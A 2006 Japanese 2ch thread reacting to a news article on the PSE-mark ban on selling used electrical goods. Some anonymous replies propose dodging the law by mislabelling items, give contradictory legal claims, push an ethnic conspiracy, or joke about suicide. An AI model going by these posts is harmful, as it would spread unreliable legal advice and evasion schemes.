【社会】 "衝撃走る" 電気製品の中古、PSEマークない物は４月から売買禁止…安全法の猶予期間終了★６

1 ：☆ばぐた☆ ◆JSGFLSFOXQ ＠☆ばぐ太☆φ ★ ：2006/02/13(月) 19:46:45 ID:???0

★電気用品安全法の猶予期間終了　認証なし中古品　４月から売買禁止
　あの名機も幻に？ 楽器、オーディオも対象、愛好家ら衝撃

・電気製品の中古販売が4月から、大幅に制限されそうだ。2001年施行の電気用品安全法の
　5年間の猶予期間が終了し、検査機関の認証を受けていない電気製品の販売などが禁止
　されるためだ。ビンテージ物が人気の楽器やオーディオ機器も対象で、愛好家には大きな
　痛手となる？

　「電気用品安全法の改正により、PSEマークのない製品を4月1日以降販売することができなく
　なりました。これに伴い、PSEマークのない電気楽器、電子楽器の買い取りを行うことが
　できなくなりました」
　東京・神田駿河台のJR御茶ノ水駅近くにある大手楽器店「石橋楽器店」の店舗内には、こんな
　「お知らせ」が張り出された。

　同店舗には、フロアごとに一台40万円もする米国製のギターアンプを含めアンプ類や
　キーボード、電子ピアノが所狭しと並んでいるが、同店では今月1日から、PSEマークの
　ない楽器の買い取りを中止した。
　PSEマークは、一般消費者が使用する電気製品のうち、国指定の検査機関が安全の
　技術基準に適合していることを認証したものだ。2001年4月の電気用品安全法の改正で、
　このマークのない製品は4月から原則販売できない。違反した場合の罰則も引き上げられ
　法人の場合、最大で1億円、個人で100万円の罰金が科せられる。

　石橋楽器の買い取りセンターの担当者は「海外からの輸入品でマークのない中古の対象品も
　少なくない。中には数十万円で取引される人気のギターアンプなどもあるが、3月末までに
　在庫品を売り切るしかない。たたき売りになるかも」と頭を抱える。
　また、買い取り中止の影響についても「お知らせを出してから、問い合わせも急増している。
　使い続けるか、破棄するしかないと説明しているが、落胆するお客様も多い」と話す。
　※>>2-10に続く
　※東京新聞2/12朝刊（依頼者より提供あり）： ttp://www.imgup.org/iup162356.jpg

※電気用品安全法＠2chまとめ：http://www8.atwiki.jp/denkianzen/
※前スレ：http://news19.2ch.net/test/read.cgi/newsplus/1139817030/ （★１：02/12 22:05:43）

2 ：☆ばぐた☆ ◆JSGFLSFOXQ ＠☆ばぐ太☆φ ★ ：2006/02/13(月) 19:46:56 ID:???0

（>>1より続き）
　法改正で最も影響を受けるのは、電化製品の中古品も扱うリサイクル業界だ。都内の
　大手総合リサイクルショップ経営会社の幹部は「うちはもともと、(マークの付いた)製造
　から5年ぐらいの電化製品の販売が中心なので影響はそう大きくないが、年代の古い製品を
　扱っている小規模のリサイクルショップでは倒産するところも出てくる」と予測。そのうえで、
　「法改正されて5年になるが、われわれ業界で話題になったのはごく最近で、告知が徹底
　されてこなかった。再資源化に取り組む流れにも逆行する感じで、違和感を覚える」と不満を
　ぶちまける。

　経済産業省の担当者は「リサイクル業界は業界団体がなく、なかなか周知徹底されてこなかった
　のは事実だが、今後はホームページでQ&Aを掲載して事業者に周知徹底を図りたい」と話す。

　流通ジャーナリストの緒方知行氏は「安全、安心に対する規制強化は必然の方向」としながらも、
　こう疑問を口にする。
　「実際の使用価値はないが、交換価値のあるお宝品、たとえば年代物のアンプ類は、絵画や
　骨董品と同じだ。こうした一人悦に入る世界まで流通できなくなるのはどうだろう。ある種の文化と
　見なし、特例を認めてもいいのではないか」

　※東京新聞2/12朝刊（依頼者より提供あり）： ttp://www.imgup.org/iup162356.jpg

3 ：名無しさん＠６周年：2006/02/13(月) 19:47:26 ID:hqA1ngkq0

そのとき矢木に電流走る ---- !

4 ：名無しさん＠６周年：2006/02/13(月) 19:47:37 ID:6xxpnoq10

スーファミも中古で買えなくなるのかよ！

5 ：名無しさん＠６周年：2006/02/13(月) 19:48:42 ID:zuLs0Yyw0

>>4
なるほど一大事じゃんか！

6 ：名無しさん＠６周年：2006/02/13(月) 19:48:48 ID:+6zi9gfX0

フェンダーやマーシャルのアンプのないライブなんてやる意味ねーだろ!

7 ：白パン3号 ◆/XB/yBWAzA ：2006/02/13(月) 19:49:49 株 ID:JXy+nXaX0 ?#

流れ速いな…

8 ：名無しさん＠６周年：2006/02/13(月) 19:50:51 ID:xNvT8MHH0

ガラクタ売っておまんま食おうなんて盗人のようなものだ。
即倒産すべきだ。

9 ：名無しさん＠６周年：2006/02/13(月) 19:50:54 ID:Ta5D3YEv0

>>5
これは国がエミュを推奨しているんだ！！！！
とかのたまってみる

10 ：名無しさん＠６周年：2006/02/13(月) 19:51:21 ID:BZXrnMLJ0

TRF

11 ：名無しさん＠６周年：2006/02/13(月) 19:51:27 ID:B4AQZb/d0

俺に電流走る───!!

12 ：名無しさん＠６周年：2006/02/13(月) 19:52:06 ID:BUTvQQQf0

PSE認証取る費用って、いくらぐらいなの？
糞業者が減るなら歓迎するけど。

13 ：名無しさん＠６周年：2006/02/13(月) 19:53:15 ID:q6M4S2000

ﾐｬﾌｵｸで中古のMSX売るのはアウトなの？

14 ：名無しさん＠６周年：2006/02/13(月) 19:53:16 ID:Xmr3SO1y0

中古屋がPSEとってマーク付けるってできるん？

15 ：名無しさん＠６周年：2006/02/13(月) 19:54:13 ID:tILRFPc70

電気製品ではなくガラクタだといって売り買いすればいいんじゃね

16 ：名無しさん＠６周年：2006/02/13(月) 19:54:36 ID:ZCE+yLnV0

次スレのスレタイ、「電気製品」の部分を「電気用品」に変えた方が良いのでは？

17 ：名無しさん＠６周年：2006/02/13(月) 19:54:47 ID:Vd0GFMCK0

おまいたちさー、
折れに良い考えがあるんだ。


前スレで誰かが言ってたが、「これは置物だ」と思わせて
売りつけて行くのが一番良いと激しく思うけど。
業者の人よ！これみてたら、注目汁ーーーーーーーーーーーー！！

18 ：名無しさん＠６周年：2006/02/13(月) 19:54:57 ID:BVC5OaPR0

オークションにも出せないということですか？

19 ：名無しさん＠６周年：2006/02/13(月) 19:55:01 ID:mIk4dIyA0

リサイクルショップのＰＣ安くなるの？

20 ：名無しさん＠６周年：2006/02/13(月) 19:55:14 ID:ry3NfKuZ0

「知らなかった」では済まされないｗ
「知らなかった」では済まされないｗ
「知らなかった」では済まされないｗ
「知らなかった」では済まされないｗ
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「知らなかった」では済まされないｗ
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「知らなかった」では済まされないｗ
「知らなかった」では済まされないｗ

21 ：名無しさん＠６周年：2006/02/13(月) 19:55:47 ID:B2JRSUZn0

前スレ>>988
＞所属している会社に反旗を翻す社員は余程馬鹿じゃないといないよ。
＞インディーでやってるやつでも、これで有名になったらメージャーには行きづらくなるぞ。
＞ミュージシャンは骨抜きですよ。
＞その程度のロックンロールなんですよ。

著作権保護機関延長記事だけど
「君たちは一体何をしてきた？」
http://hotwired.goo.ne.jp/original/shirata/060111/02.html

君たちは一体何をしてきた？ ……
もし君たちが、自分自身の自由のために戦うこともできないというのなら
……君たちはその自由に値しない。

これ思い出した

22 ：名無しさん＠６周年：2006/02/13(月) 19:56:16 ID:bVPetXp90

古い物より新しい物を買いなさい

23 ：名無しさん＠６周年：2006/02/13(月) 19:56:44 ID:4uZSdvut0

しかし明らかなサブマリン立法だな

なんでCMひとつながさないんだ？

PSEマークのない電気製品は
中古も含めて販売が禁止されます

ってCM流せ

国民に周知させるのが先決だろ

24 ：名無しさん＠６周年：2006/02/13(月) 19:57:15 ID:iYzVM2xy0

電機製品の廃棄物が山林に捨てられる現状は
なんとかならないか？

25 ：名無しさん＠６周年：2006/02/13(月) 19:58:00 ID:knOhiEaO0

え？じゃ俺のPC-8001も売れなくなるん？
表参道とかスタートレックとかソフトもつけて売るつもりだったのに

26 ：名無しさん＠６周年：2006/02/13(月) 19:58:02 ID:RbmqH/+Y0

>24
むしろ増えるだろうな。この件も含めて

27 ：名無しさん＠６周年：2006/02/13(月) 19:58:09 ID:Vd0GFMCK0

連呼でスマンけれど、
「こんな事ってーこんな所で言ってばっかでいい?」んかいな！？
やたらアブねえと思うわ、大まじで！

28 ：名無しさん＠６周年：2006/02/13(月) 19:58:18 ID:F9/m+ROZ0

法律が「電気用品安全法」だからな。
すごく広いよ。この法律は。


ちなみに「廃案廃案」いっている方々へ。

これは”法案”ではありません！

5年前にすでに施行されている法律です。ですから、廃”案”にはできません。
ご注意を。

29 ：名無しさん＠６周年：2006/02/13(月) 19:58:33 ID:/5MtdoiD0

真面目にハード買ってレトロゲーム楽しんでたﾔｼらが憂き目を見て
エミュで遊んでたﾔｼらが得をする

どっか間違ってる

30 ：名無しさん＠６周年：2006/02/13(月) 19:58:52 ID:RR6Vr17H0

廃棄物が増えれば
また小指のないやくざが儲かるわけだが

31 ：名無しさん＠６周年：2006/02/13(月) 19:58:59 ID:Z0kEjHuH0

996 ：名無しさん＠６周年：2006/02/13(月) 19:54:30 ID:DyClbjb00
こんなときのためのパンクやロックンロールなのにな。

ファッションだけのへたれどもが。

32 ：名無しさん＠６周年：2006/02/13(月) 19:59:16 ID:Axhh3NOp0

>>16
ていうか、「電気用品安全法」を明記して頂きたい気分。

33 ：名無しさん＠６周年：2006/02/13(月) 19:59:39 ID:MHfOqs7G0

この法にはスゴ味がある
廃案にするための活動なんかしようものなら翌日には消されてしまいそうなスゴ味が

34 ：名無しさん＠６周年：2006/02/13(月) 19:59:41 ID:fK2vNWQo0

端から新品しか眼中にない俺には関係のない話だな

35 ：名無しさん＠６周年：2006/02/13(月) 19:59:41 ID:mbwCasuu0

電気用品安全法（法令データ提供システム）
http://law.e-gov.go.jp/htmldata/S36/S36HO234.html
電気用品安全法のページ（経済産業省）
http://www.meti.go.jp/policy/consumer/seian/denan/
電気用品安全法の概要（経済産業省）
http://www.meti.go.jp/policy/consumer/seian/denan/outline/hou_outline.htm
電気用品安全法
http://homepage3.nifty.com/tsato/terms/denan.html

まとめサイト
http://www8.atwiki.jp/denkianzen/
電気用品安全法に反対します
http://antipse.org/

36 ：名無しさん＠６周年：2006/02/13(月) 19:59:53 ID:lV7Uho3i0

>>20
まさにそのとおりだな。

商売している人間なら、官報や業界紙ぐらいチェックしているだろう。

それと、他人の知らない情報をいちはやく知ってこそライバルに勝てる。
まさに、知らなかったでは済まされない。

37 ：名無しさん＠６周年：2006/02/13(月) 19:59:59 ID:B2JRSUZn0

で、どうすればいいの？

法律に詳しい人お願い。
解説が面倒なら、勉強になるソース示してくれるだけでいい。
何かしたいけど、この辺疎いからよくわからないよ。

38 ：名無しさん＠６周年：2006/02/13(月) 19:59:59 ID:XCUEWrjv0

リベリオンを地上波で流そう

39 ：名無しさん＠６周年：2006/02/13(月) 20:00:01 ID:G6DcLCao0

　　　　 ∧((∞)
　　　　 ∬, ´_ゝ）　　　　　　　　やたら経済行為に介入する最近の政治。
　　　　∬ヽ__ノ＼　　　　　　　　政治ってのは、駆け引きや根回しで成り立っているんだろうけど、どうせならもう少し旨くやって欲しいわね。
　　　 / |:::::::†/￣￣￣￣/　　　国民に魂胆見え見えで、馬鹿丸出しね。
　 ＿_(__ニつ/　 FMV　 /
　 　　　 ＼/＿＿＿＿/￣￣

40 ：名無しさん＠６周年：2006/02/13(月) 20:00:08 ID:8IbFK9S50

（販売の制限）
第二十七条 　電気用品の製造、輸入又は販売の事業を行う者は、第十条第一項の表示が付されているものでなければ、電気用品を販売し、又は販売の目的で陳列してはならない。
２ 　前項の規定は、同項に規定する者が次に掲げる場合に該当するときは、適用しない。
一 　特定の用途に使用される電気用品を販売し、又は販売の目的で陳列する場合において、経済産業大臣の承認を受けたとき。
二 　第八条第一項第一号の承認に係る電気用品を販売し、又は販売の目的で陳列するとき。

承認を得ても販売できないの？

41 ：名無しさん＠６周年：2006/02/13(月) 20:00:10 ID:Xw9fr1M30

これ、フリマで売るのはどうなんだ？
あれは個人の売買だろ？

42 ：名無しさん＠６周年：2006/02/13(月) 20:00:35 ID:g9HpTPIN0

>>13
個人売買も規制の対象（１００万円以下の罰金）になるので、
ヤフオクでの売買もアウトです。

43 ：名無しさん＠６周年：2006/02/13(月) 20:00:39 ID:D2wYj/jC0

昔の物の方がイイ物が多いのがコレ問題。
オーディオとか。　カセット好きのオレとしては困る。
現行品にろくなデッキ無い。

44 ：名無しさん＠６周年：2006/02/13(月) 20:00:44 ID:aWYpix8u0

>>22
残念ながら新しい物にいい物少ないんだなこれが

45 ：名無しさん＠６周年：2006/02/13(月) 20:01:05 ID:U1qHuLFm0

>>25
PCは適用外だと何度言(ry

46 ：名無しさん＠６周年：2006/02/13(月) 20:01:20 ID:9o7aDYnz0

DAT好きの俺はどうすればいいのさ。

LDも何枚かあるし。

47 ：名無しさん＠６周年：2006/02/13(月) 20:01:22 ID:fiyKj5rf0

PSEマークのない新品（2001年以前の全ての物、2001年以降のPSEの無いもの）
全て売れなくなるんだよ。

ホームセンターの安い家電品とか全部ゴミ。
街の小売電気店の店頭在庫でもカナリヤバイ。
ディスカウントショップもダメ。

その次には、安い輸入品と競争しなくてもよくなった国内メーカーが、足並み揃えて値上げをしだす。
それが問題だと思うよ。

一番安いドライヤーが￥8K、オーブントースター￥1万、電子レンジ￥5万
ミニコンポ￥10万、CDラジカセ￥3万なんてのが当たり前になる可能性が凄く高い。

中古の問題だけじゃないんだよ。
よく考えてくれ！！

48 ：名無しさん＠６周年：2006/02/13(月) 20:01:27 ID:kksbSrSRO

『中古がダメなら、新品を買えばいいじゃない』

マリーアントアネット様、みんな新品が欲しいんです…
もう絶版なんです…

49 ：名無しさん＠６周年：2006/02/13(月) 20:01:33 ID:4usCqRwMO

また自民党の闇討ち騙し討ちかよ

家電業界からいくらもらってんだ

50 ：名無しさん＠６周年：2006/02/13(月) 20:01:36 ID:U7ggjikp0

大臣官房広報室
電話 03-3501-1619（直通）
FAX 03-3501-6942

51 ：名無しさん＠６周年：2006/02/13(月) 20:01:55 ID:RR6Vr17H0

そうそう最近のカセットデッキなんて
ほとんどおもちゃ。

52 ：名無しさん＠６周年：2006/02/13(月) 20:02:15 ID:yS5xLnF60

PCは対象外なんだよね？
なんでやろ。
PCも対象とすると2chの祭りが酷くなるから…とかアホな妄想をする俺に、だれか理由を教えてください。

53 ：名無しさん＠６周年：2006/02/13(月) 20:02:20 ID:xNvT8MHH0

糞零細ｺﾞﾐ業者の焦りがヒシヒシ伝わる快感、たまんねえー

54 ：名無しさん＠６周年：2006/02/13(月) 20:02:39 ID:i457ogts0

↓個人のヤフオク利用はPSEマークなし家電でも問題ないから。↓

　インターネット・オークションでの販売においても、例えば、個人が自分で使うために購入した製品を、
必要が無くなった等の理由で販売する場合などは、電気用品安全法の対象外となります。
　しかし、個人による販売であっても、一度に大量に販売したり、何度も繰り返し販売すれば、
電気用品安全法上の「販売の事業」と考えられ、電気用品安全法上の販売の規制の対象となります。
http://www.meti.go.jp/policy/consumer/seian/denan/keikasochi/keikasochi_q&a.htm#Q6

■対象となる出品者
1ヶ月あたりの出品数が200点以上、または一時点において100点以上の商品を新規出品している出品者
落札額の合計が1ヶ月あたり100万円を超える出品者
落札額の合計が過去1年間に1,000万円を超える出品者
商品説明の内容から事業者であると認定できる出品者

上記の基準だけでは一律に事業者と判断することができない旨の記述もあることと、
事業者に該当するかどうかは個別の事情を踏まえての判断となります。
お客様が事業者に該当するかどうかご不明な場合や、
基準の詳細などにつきましては次の経済産業省担当窓口に直接お尋ねください。
http://auctions.yahoo.co.jp/phtml/auc/jp/notice/20060201.html

55 ：名無しさん＠６周年：2006/02/13(月) 20:02:56 ID:MHfOqs7G0

143 ：名無しさん＠４周年 ：04/02/12 12:20 ID:f7uPt1AP
何をいまさら、って感じだね。

家電リサイクル法自体が在日系家電量販店を救済するための法。
もともと量販店が持っていたリサイクル網があるんだけど、いままでは
価格競争のためわざわざ買取にして、客に還元していたわけ。
でもそうすると、新品の競争力がつよくなりすぎて、自分の所のリサイクル網の
販売力が落ちちゃうと。それじゃやばいので、家電リサイクル法を制定させて、
一応表向きは内情を知らない消費者向けに一部反対して、客から金をもらって処分
するという形を定着させたわけ。
当然リサイクル網は元のままだから、量販店はリサイクル料といままでの買取代金分、
まるもうけになったと。

最近まで「気づかなかった」と言っている？んなわけないじゃん。
そこらのバイト君でも知っているような常識だよ。

56 ：名無しさん＠６周年：2006/02/13(月) 20:03:08 ID:F9/m+ROZ0

>>52
情報通信機器だから。ただそれだけ。

簡単に言えば、縄張りの外。

57 ：名無しさん＠６周年：2006/02/13(月) 20:03:08 ID:mmTUB8opO

ショップに売るとき→寄付(パチンコみたくうらで換金)
ショップから購入→長期レンタルとして客に有料貸出し。
ってなったらどうよ。

58 ：名無しさん＠６周年：2006/02/13(月) 20:03:23 ID:Xw9fr1M30

>>52
どこぞのスレで、PC業界は何も言ってこなかったから、
規制外とかなんとか見たぞ

59 ：名無しさん＠６周年：2006/02/13(月) 20:03:43 ID:U1qHuLFm0

輸入ものって件のマーク付いてるの？

60 ：名無しさん＠６周年：2006/02/13(月) 20:03:52 ID:bMdjKjG2O

つまりギターやベースなんかでもアクティブとパッシブでは扱いが変わるってことだよな？

61 ：名無しさん＠６周年：2006/02/13(月) 20:04:17 ID:/33Gx7yC0

★どっかの政治家が中古品を北朝鮮に何百トンも送るんだろうな★

62 ：名無しさん＠６周年：2006/02/13(月) 20:04:18 ID:Xmr3SO1y0

つか、海外で売買すればいいんじゃね

63 ：名無しさん＠６周年：2006/02/13(月) 20:04:32 ID:aWYpix8u0

>>41
フリマって決まりがあるから当然規制されちゃうかと

64 ：名無しさん＠６周年：2006/02/13(月) 20:04:52 ID:gRjWDYnL0

781 名前：名刺は切らしておりまして[sage] 投稿日：2006/02/05(日) 22:25:46 ID:vt1LFFDs
先日、経産省に聞いてみた概要を貼っとく。

Q.すでに流通している製品の安全性を改めて検査してPSEマークを付すことはできるか？
A.できない。今の時点では製造段階以外での検査機関はない。

Q.では、PSEマークのない製品については4月1日以降どのように処分すれば良いのか？
A.そのために猶予期間を設定していたのであり、今更どのように処分するかは当方の知るところではない。

Q.猶予期間というが、本法律が国民に広く知れ渡っていると考えているのか？
A.どこまで知れ渡っているかは知らないが、官報に掲載しているので「知らなかった」というのは通用しない。

Q.あなたは官報に掲載された法律全てに目を通しているのか？
A.個人的なことには答えられない。

Q.では、国民の大多数が官報に目を通すと考えているのか？
A.官報に掲載された以上、それは「知っているもの」とみなされる。

Q.他の重要な法律はテレビCMやポスターなどで周知徹底をはかることもあるが、
本法律の広報については充分であったと考えるか？
A.現時点では問題ないと考えているが、周知徹底できなかったとするならばその結果は真摯に受け止めたい。
他の法律については当方の知るところではない。

（つづく）

65 ：名無しさん＠６周年：2006/02/13(月) 20:04:57 ID:Z0kEjHuH0

免税店みたいに海外旅行の目玉になるわけか、リサイクルショップが。

66 ：名無しさん＠６周年：2006/02/13(月) 20:05:14 ID:3EB46ze60

関税外障壁としてＷＴＯ違反

67 ：名無しさん＠６周年：2006/02/13(月) 20:05:17 ID:0eyP+Oq/0

中古ではなく、新品だといいはって売るのはどう？
５年以上売れ残った在庫品と言って。

68 ：名無しさん＠６周年：2006/02/13(月) 20:05:23 ID:jy43xasW0

>23
禿げ胴！
だけど漏れには影響ないや(・ω・)

69 ：名無しさん＠６周年：2006/02/13(月) 20:05:28 ID:sS2AgcXy0

企業に安全対策を促したのがPL法。
企業に利益を与えるように、消費者に購買・廃棄活動を促そうとしてるのが電気用品安全法の真の目的。
電気用品安全法は、安全とは名ばかりの“ゴミ量産法”。

70 ：名無しさん＠６周年：2006/02/13(月) 20:05:35 ID:lytyRlHc0

>>49

ナショナルが古い自社ガスストーブが危険と
異常に長い間放送を続けたのも、この法律
が妥当だと印象ずけるためだったのかもな。

この法律さえ有効になったらナショナルは
ぼろもうけってわけだったのか。

71 ：名無しさん＠６周年：2006/02/13(月) 20:05:41 ID:tBqVbyEs0

この間、30A契約に変えたらブレーカを交換していったけど、PSEマーク入ってる。
子ブレーカとか漏電ブレーカはそのまま。
発火したら火災保険おりますかね。

72 ：名無しさん＠６周年：2006/02/13(月) 20:05:53 ID:4zmRhnKK0

知らなかったですまされない。

でも経産省の担当者もよく知らない。

なんだかなぁ

73 ：名無しさん＠６周年：2006/02/13(月) 20:05:58 ID:XK+J7RkN0

家にあるビンテージ物の電動バイブとピンクローターに
PSEマークがないんですけど・・・

74 ：名無しさん＠６周年：2006/02/13(月) 20:06:01 ID:oAjQA7Ca0

>>52
http://www.soumu.go.jp/gyoukan/kanri/doku2002_01.html
これを見ればわかるとおり、
コンピュータ、ワープロ機器は、
総務省と内閣が管理してるので、
旧通産省は手が出せない。

75 ：名無しさん＠６周年：2006/02/13(月) 20:06:06 ID:F9/m+ROZ0

>>59
輸入責任者がマークを付けることになってる訳だが…

[PSE]マーク・検査機関名・製造責任者名(商標)でワンセット。

76 ：名無しさん＠６周年：2006/02/13(月) 20:06:06 ID:3+hcaD/b0

ミシンなんかは昭和30-40年くらいのが頑丈でいいんだっけ？

77 ：名無しさん＠６周年：2006/02/13(月) 20:06:33 ID:3omi54qZ0

財産権の侵害では？財産権の侵害では？財産権の侵害では？財産権の侵害では？
財産権の侵害では？財産権の侵害では？財産権の侵害では？財産権の侵害では？
財産権の侵害では？財産権の侵害では？財産権の侵害では？財産権の侵害では？
財産権の侵害では？財産権の侵害では？財産権の侵害では？財産権の侵害では？
財産権の侵害では？財産権の侵害では？財産権の侵害では？財産権の侵害では？
財産権の侵害では？財産権の侵害では？財産権の侵害では？財産権の侵害では？

78 ：名無しさん＠６周年：2006/02/13(月) 20:06:37 ID:Axhh3NOp0

平和の名のもとに他国に戦争をしかける米国・・・
安全の名のもとに国民の自由を束縛する日本・・・

79 ：名無しさん＠６周年：2006/02/13(月) 20:06:38 ID:BT+NWHLd0

>>64
誰が官報なんか見てるんだ！ってか官報って何だ？初耳だこのやろう

80 ：名無しさん＠６周年：2006/02/13(月) 20:06:38 ID:U1qHuLFm0

>>60
前々スレくらいで問題無しって見たよ。

>>67
新品中古は関係ない。
マークがあるか否か。

81 ：名無しさん＠６周年：2006/02/13(月) 20:06:49 ID:Brma6DTh0

ヤフオクでジャンク品、部品取りで売れば大丈夫かな？
盗難車両も部品取り名目で出品させてるし、良いんだろな。

82 ：名無しさん＠６周年：2006/02/13(月) 20:06:51 ID:XrS+AT9o0

色々と家にある製品を見たが・・・
PSEついてない
2003年購入シャープ掃除機
2004年購入ニコンD2Hの充電器
2004年購入ニコンD70の充電器

PSEついてる
2003年ソニーのニッケル水素電池充電器
2003年日立の加湿器
2003年松下のブラウン管HDTV
2005年ハネウェルのカーボンヒーター

D2Hの充電器中古が買えなくなるのか・・・
充電器とはいえ定価２万もするんだけど。

83 ：名無しさん＠６周年：2006/02/13(月) 20:07:02 ID:gRjWDYnL0

782 名前：名刺は切らしておりまして[sage] 投稿日：2006/02/05(日) 22:26:47 ID:vt1LFFDs
Q.PSEマークのない家電についてはリサイクルショップが敬遠するなどして、引き取ってもらえない
というケースが今後引越しシーズンを迎え発生することが想定されるが、それについて何か対策は用意されているのか？
A.ない。個人であれば自由に売買して構わない。ただし、継続的反復的な売買を行えば事業者とみなされることもある。

Q.事業者、あるいは事業者とみなされた個人の場合はどうなるのか？
A.当該製品を販売することはできない。

Q.販売してはいけないのであれば、どのように処分すれば良いのか？
A.当方の知るところではない。

Q.捨てろと言うことか？
A.当方の知るところではない。

Q.では仮に、事業者が「従来ならば充分価値ある商品になりえたPSEマークのない製品」を
ゴミとして処分することにした場合、その損失に対する特別な措置、税制上の優遇措置はあるか？
または検討されているということはあるか？
A.ない。現時点では検討するという話も出ていない。

Q.今後、PSEマークのない製品が大量にゴミとして捨てられる可能性があるが、
それについてはどのように考えているのか？
A.ゴミとして捨てられるかは当方の知るところではない。

（つづく）

84 ：名無しさん＠６周年：2006/02/13(月) 20:07:10 ID:IjDCJ2Jx0

>>52
PC部品は外国勢が強いからな。
OS・グラボ・CPUはアメリカ、マザボは台湾とかアメリカもか、CD・DVDとかの
駆動系は日本強いけど。
アメリカあたりがガンガン文句言ってきそうだし、日本のルールを押し付ける
のには、ちと難しい面があるんじゃねーか？

85 ：名無しさん＠６周年：2006/02/13(月) 20:07:11 ID:04Nk/eCu0

お前等今騒いどかないと、一生後悔しますよ。

消費者保護か悪法か、経済産業省「電気用品安全法」などを改正の検討:Garbagenews.com
http://www.gamenews.ne.jp/archives/2006/01/post_487.html

購入から一定期間が経つと製品が作動しなくなる「タイムスタンプ」機能を製品につけ、
消費者に定期点検をうながす案などが浮上、 早ければ2006年度中の改正を目指す。

86 ：名無しさん＠６周年：2006/02/13(月) 20:07:43 ID:U7ggjikp0

>>56
電話機もいいの？

87 ：名無しさん＠６周年：2006/02/13(月) 20:07:55 ID:aWYpix8u0

規格や法律が誰のため何の目的で作られたのか最近よ〜〜くわかるようになってきた

88 ：名無しさん＠６周年：2006/02/13(月) 20:08:05 ID:/5MtdoiD0

>>86
確か対象外

89 ：名無しさん＠６周年：2006/02/13(月) 20:08:11 ID:xNvT8MHH0

生活苦なら樹海ツアーへ。ライブタドア系ツアー客も多くて大繁盛。

90 ：名無しさん＠６周年：2006/02/13(月) 20:08:14 ID:jv8WEFFI0

困るのは一部のマニアだけ

91 ：名無しさん＠６周年：2006/02/13(月) 20:08:21 ID:ZPvAvOYG0

中古のピンテージ・パソコンも買えなくなるってこと？

なんだよ、それ。

92 ：名無しさん＠６周年：2006/02/13(月) 20:08:26 ID:0eyP+Oq/0

>>80
え？そうなの
最近発売されたものの中にPSEマークのない製品もあると思うけど
店は在庫として置くこともできなくなるわけか

93 ：名無しさん＠６周年：2006/02/13(月) 20:08:47 ID:F9/m+ROZ0

電気用品安全法に乗っ取っていれば、中古でも売れます。
売れないのは、主に5年以上前の電気用品。

「家電リサイクル禁止法」ではありません！！！

勘違いなさらないように。

94 ：名無しさん＠６周年：2006/02/13(月) 20:08:53 ID:Z0kEjHuH0

>>56
>情報通信機器だから。ただそれだけ。
>
>簡単に言えば、縄張りの外。

もうこれだけで国民の安全は本当はどうでもいいってのがバレバレだな。

95 ：名無しさん＠６周年：2006/02/13(月) 20:08:56 ID:5htoHKqf0

>>73
１００Ｖ電源のものじゃなければ対象外ですので、
安心して他人に販売できます。

96 ：名無しさん＠６周年：2006/02/13(月) 20:09:02 ID:u4iIWL8v0

これっていろんな業種に影響出る話だと思うよ。
ゲーセンやろうにも飲食店やろうにも中古品の市場がないと
絶対開業しにくいもん。俺いろんな飲食店でバイトしたけど結構中古品の流通って重要よ。
中古市場がなくなったら商売始めにくいし、いろんなサービスの価格も上がっちゃうんじゃないかな。
庶民にとってはちょっと痛いよこれは。

97 ：名無しさん＠６周年：2006/02/13(月) 20:09:16 ID:T6kypHCe0

単純に解禁日前の電気量販店は狙い目だな。

98 ：名無しさん＠６周年：2006/02/13(月) 20:09:30 ID:XdfSP+Eq0

得体の知れない押し付け安全より、消費者が自ら考え選ぶ安全のほうが
よっぽど安全だと思うんだが。

99 ：名無しさん＠６周年：2006/02/13(月) 20:09:30 ID:gRjWDYnL0

783 名前：名刺は切らしておりまして[sage] 投稿日：2006/02/05(日) 22:28:43 ID:vt1LFFDs
Q.販売できないものがゴミとして捨てられないのであれば、他にどういう処分方法があるのか？
A.当方の知るところではない。

Q.道端に置いて「早い者勝ち。欲しい人は持って行って下さい。」とでも貼り紙をしておけば良いのか？
A.それは、物にもよるが不法投棄の可能性が高いので許されない。

Q.皮肉で例え話を持ち出しただけで、本質は「誰かに無償で提供しろということか？」という質問なのだが。
A.実物をどう処分するかは当方の知るところではない。
こちらは商売をやっているわけではないのでその道のプロが知恵を出して判断して欲しい。

Q.それは「販売」でなければ不問ということか？
A.違う。字面通りの「販売」ではなくても実質的に「販売」とみなされる行為は一切禁止である。

Q.「実質的な販売行為」とは誰がどのような基準で判断するのか？
A.その都度個々の事案によって国が判断する。

Q.国というのは経済産業省のことと解釈して良いのか？
A.その通りだ。

Q.「販売」についての明確な客観的判断基準はないのか？
A.その都度個々の事案によって国が判断する。

（つづく）

100 ：名無しさん＠６周年：2006/02/13(月) 20:09:36 ID:B2JRSUZn0

>>93
則ってる製品自体が少ないんだけどな
国内メーカーでもｗｗｗｗｗ

101 ：名無しさん＠６周年：2006/02/13(月) 20:10:29 ID:0eyP+Oq/0

>>93
いやいやPSE自体が５年以上前に存在してないでしょ

102 ：名無しさん＠６周年：2006/02/13(月) 20:10:32 ID:67MKJEyr0

おい！まとめサイトのトップいじった馬鹿誰だ？

103 ：名無しさん＠６周年：2006/02/13(月) 20:10:49 ID:U1qHuLFm0

>>75
国内製品は製造段階でしかマーク付けられないのに
おかしな話だね。

104 ：名無しさん＠６周年：2006/02/13(月) 20:10:51 ID:ZIfJFlLq0

>>79
当方の知るところではない。

105 ：名無しさん＠６周年：2006/02/13(月) 20:10:52 ID:RbmqH/+Y0

>96
たった、3cm*2cmのプラスティックの部品が特注だからって、新品9千円とかするしな。

106 ：名無しさん＠６周年：2006/02/13(月) 20:10:53 ID:Oup6xj3M0

>>66
そりゃそうだ
海外製品も売れなくなるものな
メールを出すならアメリカ大使館かよ
俺たちどこの国民なんだろう

107 ：名無しさん＠６周年：2006/02/13(月) 20:11:03 ID:U7ggjikp0

楽器っていうのは火を噴く方がカッコ良いのに

108 ：名無しさん＠６周年：2006/02/13(月) 20:11:21 ID:PfkwM/d10

>法改正されて5年になるが、われわれ業界で話題になったのはごく最近で、
>告知が徹底されてこなかった。

俺等ならともかく業者がこんなこと言って恥ずかしくないのかね
無能ですと宣伝しているようなもんだろうに

109 ：名無しさん＠６周年：2006/02/13(月) 20:11:32 ID:aWYpix8u0

>>93
5年以上継続販売してる製品は大打撃だろうがボケ

110 ：名無しさん＠６周年：2006/02/13(月) 20:11:32 ID:yS5xLnF60

お返事された方々、お礼申し上げます。
なんだか俺が思ったよりどろどろしてるんですね。

ところで、テレビやラジオも情報通信機器だ…と言って言えないことはないように思うけど、そんな屁理屈はやっぱ通じませんかｗ

111 ：名無しさん＠６周年：2006/02/13(月) 20:11:37 ID:Axhh3NOp0

先日特売で購入したエレコムのＡＣタップ。
